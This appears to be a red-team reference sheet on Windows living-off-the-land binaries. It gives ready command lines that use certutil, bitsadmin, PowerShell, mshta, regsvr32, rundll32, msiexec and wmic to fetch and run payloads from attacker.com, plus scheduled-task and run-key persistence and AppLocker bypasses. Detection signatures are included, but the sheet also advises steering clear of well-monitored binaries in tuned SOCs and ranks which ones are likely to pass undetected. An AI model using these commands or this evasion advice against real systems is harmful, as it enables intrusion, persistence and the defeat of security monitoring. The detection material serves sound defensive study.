Living-off-the-Land Binaries (LOLBins)

  FILE DOWNLOAD:
  ─────────────────────────────────────────────────────────────────────────
  certutil.exe
    certutil -urlcache -f http://attacker.com/payload.bin payload.bin
    certutil -decode b64file.txt payload.exe
    → Decodes base64 files, downloads URLs. Logged by Defender since 2017.
    → STILL WORKS if defender logging is disabled or SIEM not tuned.
    Detection: EventID 4688, certutil + -urlcache flag in command line.
  
  bitsadmin.exe
    bitsadmin /transfer job /download /priority normal http://attacker.com/p.exe C:\tmp\p.exe
    → BITS (Background Intelligent Transfer Service) based download.
    → Runs under the BITS service (svchost.exe) — not under bitsadmin's PID.
    Detection: BITS job creation event (Microsoft-Windows-Bits-Client ETW).
  
  powershell.exe
    IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
    → Classic in-memory PS download+execute. Heavily monitored.
    Detection: PowerShell ScriptBlock logging, AMSI.
  
  CODE EXECUTION (bypass application control):
  ─────────────────────────────────────────────────────────────────────────
  mshta.exe
    mshta.exe http://attacker.com/malicious.hta
    mshta.exe "javascript:a=new%20ActiveXObject('WScript.Shell');a.Run('calc.exe');close();"
    → Executes HTML Applications (.hta) — VBScript/JScript code in IE engine.
    → .hta is not covered by WDAC/AppLocker in many configurations.
    Detection: mshta spawning processes, network connection from mshta.
  
  regsvr32.exe (Squiblydoo)
    regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll
    → Downloads and executes scriptlet (.sct) XML file with COM registration.
    → scrobj.dll is MS-signed, regsvr32 is whitelisted.
    Detection: regsvr32 + /i:http flag, network connection from regsvr32.
  
  rundll32.exe
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication " code
    rundll32.exe http://attacker.com/payload.dll,EntryPoint
    → Classic code execution via legitimate DLL loader.
    Detection: rundll32 with URL or javascript: argument, unusual DLL paths.
  
  msiexec.exe
    msiexec.exe /quiet /i http://attacker.com/payload.msi
    → Downloads and installs MSI package silently. MSI can contain executables.
    Detection: msiexec with URL, Defender rules on remote MSI install.
  
  wmic.exe
    wmic os get /FORMAT:"http://attacker.com/xsl_payload.xsl"
    → Downloads and transforms XSL — XSL can contain JScript/VBScript via MSXSL.
    Detection: wmic with /FORMAT:http flag. wmic.exe deprecated in Win11.
  
  PERSISTENCE:
  ─────────────────────────────────────────────────────────────────────────
  schtasks.exe
    schtasks /create /sc daily /tn "WindowsUpdate" /tr "cmd.exe /c payload.exe" /f
    → Creates scheduled task via CLI.
    Detection: EventID 4698 (scheduled task created), Sysmon EventID 1.
  
  reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater" /t REG_SZ /d "payload.exe" /f
    → Registry run key persistence.
    Detection: EventID 13 (Sysmon registry value set), 4657.
  
  DEFENSE BYPASS:
  ─────────────────────────────────────────────────────────────────────────
  installutil.exe
    installutil.exe /logfile= /logtoconsole=false /U payload.dll
    → Runs .NET code in DLL as a "setup" step. Bypasses some AppLocker rules.
    Detection: installutil with unusual DLL path, non-install context.
  
  odbcconf.exe
    odbcconf.exe /S /A {REGSVR "C:\payload.dll"}
    → Registers DLLs like regsvr32 but less monitored.
    Detection: Sysmon image load events for payload.dll from odbcconf.

  LOLBin             Detection signature (Sigma/KQL form)
  ─────────────────────────────────────────────────────────────────────────
  certutil.exe       CommandLine contains "-urlcache" OR "-decode"
                     AND Parent is not trusted IT management tool
  
  bitsadmin.exe      CommandLine contains "/transfer" AND "/download"
                     OR BITS job created from non-SYSTEM user
  
  mshta.exe          Spawns any process (unusual — mshta is a viewer)
                     OR CommandLine contains "http://" or "javascript:"
  
  regsvr32.exe       CommandLine contains "/i:http" OR "/i:\\\\"
                     (network path for scriptlet file)
  
  rundll32.exe       CommandLine contains "javascript:" OR
                     spawns cmd.exe/powershell.exe
  
  wmic.exe           CommandLine contains "/FORMAT:http"
  
  msiexec.exe        CommandLine contains "http://" in /i argument
  
  installutil.exe    Invoked outside of known software installer context
                     (parent process is not an installer or IT tool)
  
  Maturity of detection:
  ─────────────────────────────────────────────────────────────────────────
  certutil, powershell, mshta: High maturity — detected by default rules
  in Elastic, Splunk, Microsoft Sentinel. Avoid using these in tuned SOCs.
  
  bitsadmin, regsvr32 (Squiblydoo): Medium maturity — many orgs have rules
  but coverage varies. Less likely to alert immediately.
  
  odbcconf, installutil, wmic XSL: Lower maturity — less common in default
  SIEM content packages. More likely to pass undetected initially.
  
  LOLBin-free approach:
  ─────────────────────────────────────────────────────────────────────────
  Use process injection (Part 4) to execute code inside a legitimate process.
  The malicious code runs inside explorer.exe or svchost.exe — no LOLBin
  involved, no suspicious command line, just a process that suddenly has
  network connections or makes API calls it normally wouldn't.